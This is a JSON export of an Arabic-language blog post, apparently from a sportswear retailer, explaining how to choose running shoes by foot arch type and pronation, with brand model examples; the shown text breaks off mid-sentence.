{"id":4965,"date":"2025-12-22T09:02:00","date_gmt":"2025-12-22T05:02:00","guid":{"rendered":"https:\/\/become.sssports.com\/ar\/?p=4965"},"modified":"2026-02-11T07:58:09","modified_gmt":"2026-02-11T03:58:09","slug":"how-to-choose-your-running-shoes","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/how-to-choose-your-running-shoes\/","title":{"rendered":"\u0643\u064a\u0641 \u062a\u062e\u062a\u0627\u0631 \u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a"},"content":{"rendered":"<p>\u0644\u0637\u0627\u0644\u0645\u0627 \u0631\u063a\u0628\u062a \u0628\u0627\u0644\u0627\u0646\u0636\u0645\u0627\u0645 \u0625\u0644\u0649 \u0639\u0627\u0644\u0645 \u0627\u0644\u062c\u0631\u064a\u060c \u0625\u0644\u0627 \u0623\u0646\u0643 \u0648\u0644\u0633\u0628\u0628 \u0645\u0627 \u0644\u0645 \u062a\u062d\u0638\u0649 \u0628\u0627\u0644\u0648\u0642\u062a \u0627\u0644\u0643\u0627\u0641\u064a \u0644\u0630\u0644\u0643\u060c \u0623\u0648 \u0623\u0646\u0643 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src=\"\/wp-content\/uploads\/2016\/01\/Footprint-type_01_700x400.jpg\" alt=\"\u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0647\u0646\u0627\u0643 \u0627\u0644\u0639\u064a\u062f \u0645\u0646 \u0623\u0634\u0643\u0627\u0644 \u0627\u0644\u0642\u062f\u0645\u060c \u0625\u0644\u0627 \u0623\u0646 \u0645\u0639\u0638\u0645\u0647\u0627 \u064a\u0646\u062f\u0631\u062c \u062a\u062d\u062a<span class=\"s1\"> 3 <\/span>\u0641\u0626\u0627\u062a<span class=\"s1\">: <\/span>\u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629\u060c \u0627\u0644\u0645\u0633\u0637\u0651\u062d\u0629\u060c \u0648\u0627\u0644\u0645\u0642\u0648\u0651\u0633\u0629<span class=\"s1\">. <\/span>\u0644\u0645\u0639\u0631\u0641\u0629 \u0646\u0648\u0639 \u0642\u062f\u0645\u064a\u0643\u060c \u0625\u0644\u064a\u0643 \u062e\u0637\u0648\u062a\u0627\u0646 \u0644\u0627\u062e\u062a\u0628\u0627\u0631<span class=\"s1\"> &#8220;<\/span>\u0648\u064a\u062a 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\u0628\u0645\u0642\u0627\u0631\u0646\u062a\u0647 \u0628\u0627\u0644\u0634\u0643\u0644 \u0627\u0644\u0648\u062c\u0648\u062f \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u0635\u0641\u062d\u0629<span class=\"s1\">.<\/span><span class=\"Apple-converted-space\">\u00a0\u00a0<\/span><\/li>\n<\/ul>\n<p class=\"p1\" dir=\"rtl\">\u0648\u0627\u0644\u0622\u0646 \u0628\u0639\u062f \u0623\u0646 \u062d\u062f\u062f\u062a \u0646\u0648\u0639 \u0642\u062f\u0645\u0643\u060c \u0646\u0635\u0644 \u0625\u0644\u0649 \u0627\u0644\u062e\u0637\u0648\u0629 \u0627\u0644\u062a\u0627\u0644\u064a\u0629 \u0628\u0645\u0639\u0631\u0641\u0629 \u0627\u0644\u062d\u0630\u0627\u0621 \u0627\u0644\u0630\u064a \u062a\u062d\u062a\u0627\u062c \u0625\u0644\u064a\u0647<span class=\"s1\">.<\/span><\/p>\n<h5 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u0644\u062d\u0645\u0627\u064a\u0629 \u062a\u0642\u0648\u0651\u0633 \u0627\u0644\u0642\u062f\u0645<\/strong><\/h5>\n<p class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-4678 size-full\" title=\"\u062a\u0642\u0648\u0651\u0633 \u0627\u0644\u0642\u062f\u0645\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/01\/Footprint-type_02_700x400.jpg\" alt=\"\u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0641\u0643\u0651\u0631 \u0628\u062a\u0642\u0648\u0633\u0627\u062a \u0642\u062f\u0645\u0643 \u0648\u0643\u0623\u0646\u0647\u0627 \u0631\u0643\u0627\u0626\u0632 \u0646\u0645\u0637 \u0627\u0644\u062c\u0631\u064a \u0644\u062f\u064a\u0643\u060c \u0641\u0645\u0639 \u0627\u0644\u062d\u0630\u0627\u0621 \u0627\u0644\u0630\u064a \u064a\u0642\u062f\u0645 \u0627\u0644\u062f\u0639\u0645 \u0627\u0644\u0645\u0646\u0627\u0633\u0628 \u0644\u0642\u062f\u0645\u064a\u0643 \u0633\u062a\u0632\u064a\u062f \u0645\u0646 \u0642\u062f\u0631\u0627\u062a\u0643 \u0639\u0646\u062f \u0627\u0644\u062c\u0631\u064a \u0648\u0633\u062a\u062a\u062c\u0646\u0628 \u0627\u0644\u0623\u0648\u062c\u0627\u0639 \u0648\u0627\u0644\u0622\u0644\u0627\u0645<span class=\"s1\">. <\/span>\u0627\u0633\u062a\u0639\u0631\u0636 \u0647\u0630\u0647 \u0627\u0644\u0646\u0635\u0627\u0626\u062d \u0644\u0645\u0633\u0627\u0639\u062f\u062a\u0643 \u0641\u064a \u0634\u0631\u0627\u0621 \u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a \u0641\u064a \u0627\u0644\u0645\u0631\u0629 \u0627\u0644\u0645\u0642\u0628\u0644\u0629<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><strong>\u0627\u0644\u062a\u0642\u0648\u0633\u0627\u062a \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629<span class=\"s1\">: <\/span><\/strong>\u064a\u0645\u062a\u0644\u0643 \u0623\u0635\u062d\u0627\u0628 \u0627\u0644\u0642\u062f\u0645 \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629 \u062a\u0642\u0648\u0651\u0633\u0627\u062a \u062a\u0639\u0627\u0644\u062c \u062a\u0623\u062b\u064a\u0631 \u0648\u0642\u0639 \u0627\u0644\u0623\u0642\u062f\u0627\u0645 \u062c\u064a\u062f\u0627\u064b<span class=\"s1\">. <\/span>\u0648\u0647\u0630\u0627 \u064a\u0639\u0646\u064a \u0623\u0646 \u0627\u0644\u0643\u0639\u0628 \u0648\u0645\u0642\u062f\u0645\u0629 \u0627\u0644\u0642\u062f\u0645 \u064a\u0645\u062a\u0635\u0627\u0646 \u0627\u0644\u0635\u062f\u0645\u0629 \u0628\u0634\u0643\u0644 \u0645\u062a\u0639\u0627\u062f\u0644\u060c \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u064a\u0645\u0643\u0646\u0643 \u0627\u0646\u062a\u0639\u0627\u0644 \u0645\u062c\u0645\u0648\u0639\u0629 \u0648\u0627\u0633\u0639\u0629 \u0645\u0646 \u0623\u062d\u0630\u064a\u0629 \u0627\u0644\u062c\u0631\u064a \u0637\u0627\u0644\u0645\u0627 \u0623\u0646\u0647\u0627 \u062a\u0644\u0627\u0626\u0645 \u0642\u062f\u0645\u0643 \u0628\u0634\u0643\u0644 \u0645\u0631\u064a\u062d<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><strong>\u0627\u0644\u062a\u0642\u0648\u0651\u0633\u0627\u062a \u0627\u0644\u0639\u0627\u0644\u064a\u0629<span class=\"s1\">: <\/span><\/strong>\u064a\u062d\u062a\u0627\u062c \u0627\u0644\u062c\u0631\u064a \u0644\u0644\u0642\u062f\u0645 \u0639\u0627\u0644\u064a\u0629 \u0627\u0644\u062a\u0642\u0648\u0651\u0633 \u0625\u0644\u0649 \u062a\u0648\u0633\u064a\u062f \u062f\u0627\u0639\u0645\u060c \u062e\u0627\u0635\u0629 \u0644\u0644\u0646\u0639\u0644 \u0627\u0644\u0623\u0648\u0633\u0637 \u0644\u062a\u0648\u0641\u064a\u0631 \u062f\u0639\u0645 \u0625\u0636\u0627\u0641\u064a \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u062c\u0631\u064a\u060c \u0645\u0645\u0627 \u064a\u062e\u0641\u0641 \u0627\u0644\u0636\u063a\u0637 \u0639\u0644\u0649 \u0623\u0635\u0627\u0628\u0639 \u0627\u0644\u0642\u062f\u0645 \u0648\u0627\u0644\u0643\u0627\u062d\u0644<span class=\"s1\">. <\/span>\u0627\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0648\u0641\u0631 \u062a\u0648\u0633\u064a\u062f\u0627\u064b \u0623\u0643\u0628\u0631 \u0648\u062d\u0631\u0643\u0629 \u0645\u0631\u0646\u0629\u060c \u0645\u062b\u0644 \u062d\u0630\u0627\u0621<span class=\"s1\"> &#8220;<\/span>\u0644\u0648\u0646\u0627\u0631<span class=\"s1\">&#8221; <\/span>\u0645\u0646 \u0646\u0627\u064a\u0643\u064a \u0623\u0648<span class=\"s1\"> &#8220;<\/span>\u062a\u0634\u064a\u0646\u062c \u0643\u0648\u0634\u064a\u0646\u064a\u0646\u062c<span class=\"s1\">&#8221; <\/span>\u0645\u0646 \u0623\u0646\u062f\u0631 \u0622\u0631\u0645\u0631 \u0623\u0648<span class=\"s1\"> &#8220;\u0633\u0628\u0631\u064a\u0646\u062c \u0628\u0644\u064a\u062f<\/span><span class=\"s1\">&#8221; <\/span>\u0645\u0646 \u0623\u062f\u064a\u062f\u0627\u0633 \u0623\u0648<span class=\"s1\"> &#8220;\u0625\u064a\u062c\u0646\u0627\u064a\u062a<\/span><span class=\"s1\">&#8221; <\/span>\u0645\u0646 \u0628\u0648\u0645\u0627<span class=\"s1\">. <\/span>\u0641\u0645\u064a\u0632\u0627\u062a \u0647\u0630\u0647 \u0627\u0644\u0623\u062d\u0630\u064a\u0629 \u0644\u0646 \u062a\u0639\u0632\u0632 \u062e\u0637\u0648\u062a\u0643 \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629 \u0641\u0642\u0637\u060c \u0628\u0644 \u0633\u062a\u0645\u062a\u0635 \u0627\u0644\u0635\u062f\u0645\u0629 \u0627\u0644\u062a\u064a \u062a\u0646\u0634\u0623 \u0639\u0646\u062f \u0636\u0631\u0628 \u0642\u062f\u0645\u0643 \u0644\u0644\u0623\u0631\u0636 \u0633\u0648\u0627\u0621 \u0639\u0646\u062f \u0627\u0644\u0645\u0634\u064a \u0623\u0648 \u0627\u0644\u062c\u0631\u064a<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><strong>\u0627\u0644\u062a\u0642\u0648\u0633\u0627\u062a \u0627\u0644\u0645\u0646\u062e\u0641\u0636\u0629<span class=\"s1\"> \/ <\/span>\u0627\u0644\u0642\u062f\u0645 \u0627\u0644\u0645\u0633\u0637\u062d\u0629<span class=\"s1\">: <\/span><\/strong>\u0644\u0644\u0630\u064a\u0646 \u064a\u0639\u0627\u0646\u0648\u0646 \u0645\u0646 \u0646\u0642\u0635 \u0627\u0644\u062a\u0642\u0648\u0633\u0627\u062a\u060c \u0641\u0625\u0646 \u0627\u0644\u0636\u063a\u0637 \u0627\u0644\u0630\u064a \u064a\u0646\u062a\u062c \u0639\u0646 \u0648\u0642\u0639 \u0627\u0644\u0623\u0642\u062f\u0627\u0645 \u0639\u0644\u0649 \u0627\u0644\u0623\u0631\u0636 \u0633\u064a\u0645\u062a\u062f \u0625\u0644\u0649 \u0627\u0644\u0633\u0627\u0642\u064a\u0646\u060c \u0645\u0645\u0627 \u064a\u0624\u062f\u064a \u0625\u0644\u0649 \u0646\u0637\u0627\u0642 \u0623\u0648\u0633\u0639 \u0645\u0646 \u0627\u0644\u0625\u0635\u0627\u0628\u0627\u062a \u0641\u064a \u062d\u0627\u0644 \u0643\u0627\u0646 \u0627\u0644\u062d\u0630\u0627\u0621 \u0644\u0627 \u064a\u062a\u0646\u0627\u0633\u0628 \u0645\u0639 \u0634\u0643\u0644 \u0627\u0644\u0642\u062f\u0645<span class=\"s1\">. <\/span>\u0648\u064a\u0646\u0635\u062d \u0647\u0646\u0627 \u0628\u0627\u062e\u062a\u064a\u0627\u0631 \u0627\u0644\u062d\u0630\u0627\u0621 \u0627\u0644\u0630\u064a \u064a\u0648\u0641\u0631 \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0647\u064a\u0643\u0644\u064a\u0629 \u0648\u062a\u0639\u0648\u064a\u0645 \u0627\u0644\u0642\u062f\u0645 \u0644\u062a\u0637\u0641\u0648 \u062f\u0627\u062e\u0644 \u0627\u0644\u062d\u0630\u0627\u0621 \u0645\u0646 \u062e\u0644\u0627\u0644 \u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u062a\u062d\u0643\u0645 \u0628\u0627\u0644\u062d\u0631\u0643\u0629 \u0648\u0627\u0644\u062b\u0628\u0627\u062a \u0648\u0644\u0627\u0633\u064a\u0645\u0627 \u0639\u0646\u062f \u0627\u0644\u0643\u0639\u0628 \u0648\u0645\u0642\u062f\u0645\u0629 \u0627\u0644\u0642\u062f\u0645<span class=\"s1\">. <\/span>\u0645\u062b\u0627\u0644\u0627\u064b \u0639\u0644\u0649 \u0630\u0644\u0643 \u062d\u0630\u0627\u0621<span class=\"s1\"> &#8220;\u0641\u0631\u064a<\/span><span class=\"s1\">&#8221; <\/span>\u0645\u0646 \u0646\u0627\u064a\u0643\u064a \u0648<span class=\"s1\">&#8220;<\/span>\u0633\u064a\u0643\u0648\u0646\u0633 \u0628\u0648\u062a<span class=\"s1\">&#8221; <\/span>\u0645\u0646 \u0623\u062f\u064a\u062f\u0627\u0633 \u0648<span class=\"s1\">&#8220;\u0645\u0627\u064a\u0643\u0631\u0648 \u062c\u064a<\/span><span class=\"s1\">&#8221; <\/span>\u0645\u0646 \u0623\u0646\u062f\u0631 \u0622\u0631\u0645\u0631 \u0648\u062d\u0630\u0627\u0621 \u0628\u0648\u0645\u0627<span class=\"s1\"> &#8220;<\/span>\u0625\u0641 \u0625\u064a\u0647 \u0625\u064a\u0647 \u0625\u0633<span class=\"s1\">&#8221; <\/span>\u0627\u0644\u0645\u0632\u0648\u062f \u0628\u062a\u0642\u0646\u064a\u0629<span class=\"s1\"> &#8220;<\/span>\u0633\u062a\u064a\u0628\u0644\u062a\u064a \u0632\u0648\u0646<span class=\"s1\">&#8220;. <\/span>\u0627\u0628\u062d\u062b \u0639\u0646 \u0645\u0633\u0627\u062d\u0629 \u0623\u0648\u0633\u0639 \u0644\u0644\u0623\u0635\u0627\u0628\u0639 \u0644\u0627\u0633\u062a\u064a\u0639\u0627\u0628 \u0627\u0644\u062a\u0648\u0633\u0639 \u0627\u0644\u0637\u0628\u064a\u0639\u064a \u0644\u0644\u0642\u062f\u0645 \u0643\u0644\u0645\u0627 \u0636\u0631\u0628\u062a \u0627\u0644\u0623\u0631\u0636<span class=\"s1\">.<\/span><\/p>\n<h5 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u0623\u0634\u0643\u0627\u0644 \u0645\u064a\u0644\u0627\u0646 \u0628\u0627\u0637\u0646 \u0627\u0644\u0642\u062f\u0645<\/strong><\/h5>\n<p class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-4680 size-full\" title=\"\u0623\u0634\u0643\u0627\u0644 \u0645\u064a\u0644\u0627\u0646 \u0628\u0627\u0637\u0646 \u0627\u0644\u0642\u062f\u0645\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/01\/Footprint-type_03_700x400.jpg\" alt=\"\u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u064a\u0635\u0641 \u0645\u064a\u0644\u0627\u0646 \u0628\u0627\u0637\u0646 \u0627\u0644\u0642\u062f\u0645 \u0643\u064a\u0641\u064a\u0629 \u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u0642\u062f\u0645\u0643 \u0644\u0627\u0645\u062a\u0635\u0627\u0635 \u0627\u0644\u0635\u062f\u0645\u0629 \u0639\u0646\u062f \u0627\u0644\u0645\u0634\u064a \u0623\u0648 \u0627\u0644\u062c\u0631\u064a<span class=\"s1\">. <\/span>\u0641\u0628\u064a\u0646\u0645\u0627 \u062a\u0639\u0637\u064a \u0627\u0644\u062a\u0642\u0648\u0633\u0627\u062a \u0645\u0624\u0634\u0631\u0627\u062a \u0639\u0646\u0647\u060c \u064a\u062e\u062a\u0635 \u0643\u0644 \u0639\u062f\u0651\u0627\u0621 \u0628\u0623\u0633\u0644\u0648\u0628 \u0645\u0645\u064a\u0632 \u0644\u0644\u062c\u0631\u064a \u0645\u0645\u0627 \u064a\u0639\u0646\u064a \u0623\u0646 \u0627\u0644\u0628\u0639\u0636 \u064a\u0645\u0644\u0643 \u0627\u0644\u062a\u0641\u0627\u0641\u0627\u064b \u0644\u0628\u0627\u0637\u0646 \u0627\u0644\u0642\u062f\u0645 \u064a\u062e\u062a\u0644\u0641 \u0639\u0646 \u063a\u064a\u0631\u0647<span class=\"s1\">. <\/span>\u062d\u062f\u0651\u062f \u0645\u0627 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0645\u064a\u0644\u0627\u0646 \u0642\u062f\u0645\u0643 \u0639\u0627\u062f\u064a\u0627\u064b \u0623\u0648 \u0632\u0627\u0626\u062f\u0627\u064b \u0639\u0646 \u0627\u0644\u062d\u062f \u0627\u0644\u0637\u0628\u064a\u0639\u064a \u0623\u0648 \u0636\u0626\u064a\u0644\u0627\u064b<span class=\"s1\"> (<\/span>\u0642\u0645 \u0628\u0625\u0645\u0627\u0644\u0629 \u0642\u062f\u0645\u0643 \u0644\u0644\u062e\u0627\u0631\u062c<span class=\"s1\">).<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><strong>\u062a\u0642\u0648\u0633\u0627\u062a \u0637\u0628\u064a\u0639\u064a\u0629<span class=\"s1\"> = <\/span>\u0645\u064a\u0644\u0627\u0646 \u0639\u0627\u062f\u064a<span class=\"s1\">: <\/span><\/strong>\u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0630\u0648\u064a \u0627\u0644\u0623\u0642\u062f\u0627\u0645 \u0630\u0627\u062a \u0627\u0644\u062a\u0642\u0648\u0633 \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u060c \u062a\u062a\u062e\u0630 \u0642\u062f\u0645\u0627\u0643 \u0648\u0636\u0639\u064a\u0629 \u062a\u0648\u0632\u0639 \u062a\u0623\u062b\u064a\u0631 \u0627\u0644\u0635\u062f\u0645\u0629 \u0628\u0634\u0643\u0644 \u0645\u062a\u0633\u0627\u0648\u064d\u060c \u0645\u0645\u0627 \u064a\u0639\u0646\u064a \u0623\u0646 \u0627\u0644\u0627\u062d\u062a\u0643\u0627\u0643 \u0627\u0644\u0623\u0648\u0644\u064a \u0645\u0639 \u0627\u0644\u0623\u0631\u0636 \u064a\u0628\u062f\u0623 \u0628\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062e\u0627\u0631\u062c\u064a \u0645\u0646 \u0627\u0644\u0643\u0639\u0628 \u0642\u0628\u0644 \u0627\u0644\u062a\u0641\u0627\u0641 \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0623\u0633\u0641\u0644<span class=\"s1\">. <\/span>\u0644\u0630\u0644\u0643\u060c \u0645\u062c\u0627\u0644 \u0627\u0644\u0627\u062d\u062a\u0645\u0627\u0644\u0627\u062a \u064a\u0639\u062a\u0628\u0631 \u0623\u0643\u062b\u0631 \u062a\u0646\u0648\u0639\u0627\u064b \u0639\u0646\u062f \u0627\u062e\u062a\u064a\u0627\u0631 \u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a \u0627\u0644\u0645\u0646\u0627\u0633\u0628<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><strong>\u062a\u0642\u0648\u0633\u0627\u062a \u0639\u0627\u0644\u064a\u0629<span class=\"s1\"> = <\/span>\u0645\u064a\u0644\u0627\u0646 \u0636\u0626\u064a\u0644<span class=\"s1\">: <\/span><\/strong>\u064a\u0645\u064a\u0644 \u0627\u0644\u0639\u062f\u0651\u0627\u0626\u064a\u0646 \u0630\u0648\u064a \u0627\u0644\u062a\u0642\u0648\u0633\u0627\u062a \u0627\u0644\u0639\u0627\u0644\u064a\u0629 \u0625\u0644\u0649 \u0645\u064a\u0644\u0627\u0646 \u0636\u0626\u064a\u0644 \u0644\u0628\u0627\u0637\u0646 \u0627\u0644\u0642\u062f\u0645\u060c \u0645\u0645\u0627 \u064a\u0634\u0643\u0644 \u0636\u063a\u0637\u0627\u064b \u0643\u0628\u064a\u0631\u0627\u064b \u0639\u0644\u0649 \u0627\u0644\u0623\u062c\u0632\u0627\u0621 \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629 \u0645\u0646 \u0628\u0627\u0637\u0646 \u0627\u0644\u0642\u062f\u0645<span class=\"s1\">. <\/span>\u0647\u0646\u0627\u0643 \u0637\u0631\u064a\u0642\u0629 \u0648\u0627\u062d\u062f\u0629 \u0644\u062a\u062d\u062f\u064a\u062f \u0645\u0627 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u062a\u0641\u0627\u0641 \u0642\u062f\u0645\u0643 \u0636\u0626\u064a\u0644\u0627\u064b \u062a\u0645\u0627\u0645\u0627\u064b \u0647\u064a \u0628\u0641\u062d\u0635 \u0645\u0646\u0627\u0637\u0642 \u0627\u0644\u0627\u0647\u062a\u0631\u0627\u0621 \u0639\u0644\u0649 \u0623\u062d\u0630\u064a\u062a\u0643 \u0627\u0644\u0623\u062e\u0631\u0649\u060c \u062d\u064a\u062b \u0633\u062a\u062c\u062f \u0623\u0646 \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062e\u0627\u0631\u062c\u064a \u0645\u0646 \u0627\u0644\u0646\u0639\u0644 \u064a\u0628\u062f\u0648 \u0645\u0647\u062a\u0631\u0621\u0627\u064b \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631<span class=\"s1\">. <\/span>\u0644\u0630\u0644\u0643\u060c \u0627\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u0623\u062d\u0630\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u0636\u0645\u0646 \u062a\u0648\u0633\u064a\u062f\u0627\u064b \u0643\u0628\u064a\u0631\u0627\u064b \u0644\u062a\u062e\u0641\u064a\u0641 \u0627\u0644\u0635\u062f\u0645\u0629 \u0639\u0646 \u0628\u0627\u0637\u0646 \u0627\u0644\u0642\u062f\u0645 \u0641\u064a \u0643\u0644 \u062e\u0637\u0648\u0629<span class=\"s1\">.\u00a0<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><strong>\u062a\u0642\u0648\u0633\u0627\u062a \u0645\u0646\u062e\u0641\u0636\u0629<span class=\"s1\"> \/ <\/span>\u0642\u062f\u0645 \u0645\u0633\u0637\u0651\u062d\u0629<span class=\"s1\"> = <\/span>\u0645\u064a\u0644\u0627\u0646 \u0643\u0628\u064a\u0631<span class=\"s1\">: <\/span><\/strong>\u064a\u062d\u062f\u062b \u0627\u0644\u0645\u064a\u0644\u0627\u0646 \u0627\u0644\u0643\u0628\u064a\u0631 \u0644\u0628\u0627\u0637\u0646 \u0627\u0644\u0642\u062f\u0645 \u0644\u0630\u0648\u064a \u0627\u0644\u0623\u0642\u062f\u0627\u0645 \u0627\u0644\u0645\u0633\u0637\u062d\u0629\u060c \u0648\u064a\u0643\u0648\u0646 \u0645\u0643\u062b\u0641\u0627\u064b \u0641\u064a \u0627\u0644\u0627\u0644\u062a\u0641\u0627\u0641 \u0627\u0644\u062f\u0627\u062e\u0644\u064a \u0644\u0644\u0642\u062f\u0645<span class=\"s1\">. <\/span>\u0648\u0643\u0645\u0627 \u0647\u064a \u0627\u0644\u062d\u0627\u0644 \u0639\u0646\u062f \u0627\u0644\u0645\u064a\u0644\u0627\u0646 \u0627\u0644\u0636\u0626\u064a\u0644\u060c \u0641\u0625\u0646 \u0627\u0644\u0639\u062f\u0627\u0626\u064a\u0646 \u0630\u0648\u064a \u0627\u0644\u062a\u0642\u0648\u0633\u0627\u062a \u0627\u0644\u0645\u0646\u062e\u0641\u0636\u0629 \u064a\u0633\u062a\u0647\u0644\u0643\u0648\u0646 \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062f\u0627\u062e\u0644\u064a \u0645\u0646 \u0627\u0644\u0646\u0639\u0644<span class=\"s1\">. <\/span>\u0644\u0639\u0644\u0627\u062c \u0647\u0630\u0647 \u0627\u0644\u0645\u0634\u0643\u0644\u0629\u060c \u0627\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u0623\u062d\u0630\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0648\u0641\u0631 \u0628\u0646\u064a\u0629 \u0648\u062a\u0635\u0645\u064a\u0645\u0627\u064b \u064a\u0639\u0632\u0632 \u0627\u0645\u062a\u0635\u0627\u0635 \u0627\u0644\u0635\u062f\u0645\u0627\u062a<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><span class=\"s1\"><span class=\"Apple-converted-space\"> \u00a0<\/span><\/span><\/p>\n<h5 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u0644\u0644\u062c\u0631\u064a \u0628\u0634\u0643\u0644 \u0645\u0631\u064a\u062d<\/strong><\/h5>\n<p class=\"p1\" dir=\"rtl\">\u062a\u062c\u0646\u0628 \u0627\u0644\u0631\u0636\u0648\u0636 \u0648\u0627\u0644\u0628\u062b\u0648\u0631 \u0628\u0627\u0646\u062a\u0639\u0627\u0644\u0643 \u0644\u062d\u0630\u0627\u0621 \u062c\u0631\u064a \u064a\u0644\u0627\u0626\u0645\u0643 \u062a\u0645\u0627\u0645\u0627\u064b<span class=\"s1\">. <\/span>\u0648\u062a\u0643\u0645\u0646 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u0623\u0641\u0636\u0644 \u0641\u064a \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u0627\u0644\u062d\u0630\u0627\u0621 \u0627\u0644\u0623\u0645\u062b\u0644 \u0641\u064a \u0648\u0636\u0639 \u0625\u0635\u0628\u0639 \u0627\u0644\u0633\u0628\u0627\u0628\u0629 \u0628\u064a\u0646 \u0627\u0644\u0643\u0639\u0628 \u0648\u0627\u0644\u062d\u0630\u0627\u0621\u060c \u0644\u062a\u0636\u0645\u0646 \u0627\u062e\u062a\u064a\u0627\u0631 \u0627\u0644\u062d\u0630\u0627\u0621 \u0627\u0644\u0645\u0631\u064a\u062d \u0627\u0644\u0630\u064a \u062a\u0628\u062d\u062b \u0639\u0646\u0647<span class=\"s1\">.<\/span><\/p>\n<h5 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u0627\u062e\u062a\u0631 \u0627\u0644\u062d\u0630\u0627\u0621 \u0627\u0644\u0630\u064a \u064a\u062a\u0637\u0627\u0628\u0642 \u0645\u0639 \u0645\u0631\u0648\u0646\u0629 \u062e\u0637\u0648\u0627\u062a\u0643<\/strong><\/h5>\n<p class=\"p1\" dir=\"rtl\">\u064a\u0639\u062a\u0628\u0631 \u0627\u062e\u062a\u064a\u0627\u0631 \u062d\u0630\u0627\u0621 \u064a\u062a\u0645\u0627\u0634\u0649 \u0645\u0639 \u0627\u0644\u0645\u0631\u0648\u0646\u0629 \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629 \u0644\u062e\u0637\u0648\u0627\u062a\u0643 \u0623\u0645\u0631\u0627\u064b \u0623\u0633\u0627\u0633\u064a\u0627\u064b \u0644\u0644\u062a\u062d\u0631\u0643 \u0628\u0634\u0643\u0644 \u0645\u0631\u064a\u062d\u060c \u0648\u062e\u0627\u0635\u0629 \u0644\u0644\u0645\u0633\u0627\u0641\u0627\u062a \u0627\u0644\u0637\u0648\u064a\u0644\u0629<span class=\"s1\">. <\/span>\u0627\u062e\u062a\u0631 \u0627\u0644\u062d\u0630\u0627\u0621 \u0627\u0644\u0630\u064a \u064a\u0646\u062b\u0646\u064a \u0628\u0646\u0641\u0633 \u0637\u0631\u064a\u0642\u0629 \u0642\u062f\u0645\u0643 \u0644\u062a\u062a\u062c\u0646\u0628 \u0627\u0644\u0636\u063a\u0637 \u0648\u0622\u0644\u0627\u0645 \u0627\u0644\u0643\u0639\u0628 \u0648\u0627\u0644\u0633\u0627\u0642<span class=\"s1\">. <\/span>\u0644\u062a\u062d\u062f\u064a\u062f \u0627\u0644\u062a\u0635\u0645\u064a\u0645 \u0627\u0644\u0623\u0646\u0633\u0628 \u0644\u0643\u060c \u0627\u0628\u062f\u0623 \u0628\u062b\u0646\u064a \u0627\u0644\u062d\u0630\u0627\u0621 \u0628\u0627\u0644\u0636\u063a\u0637 \u0639\u0644\u0649 \u0627\u0644\u0643\u0639\u0628 \u0648\u0645\u0642\u062f\u0645\u0629 \u0627\u0644\u0642\u062f\u0645\u060c \u0639\u0644\u0649 \u0627\u0644\u0646\u0642\u0637\u0629 \u0627\u0644\u062a\u064a \u064a\u0646\u062b\u0646\u064a \u0628\u0647\u0627 \u0627\u0644\u062d\u0630\u0627\u0621 \u0623\u0646 \u062a\u062a\u0645\u0627\u0634\u0649 \u0645\u0639 \u0623\u0648\u0633\u0639 \u062c\u0632\u0621 \u0645\u0646 \u0642\u062f\u0645\u0643<span 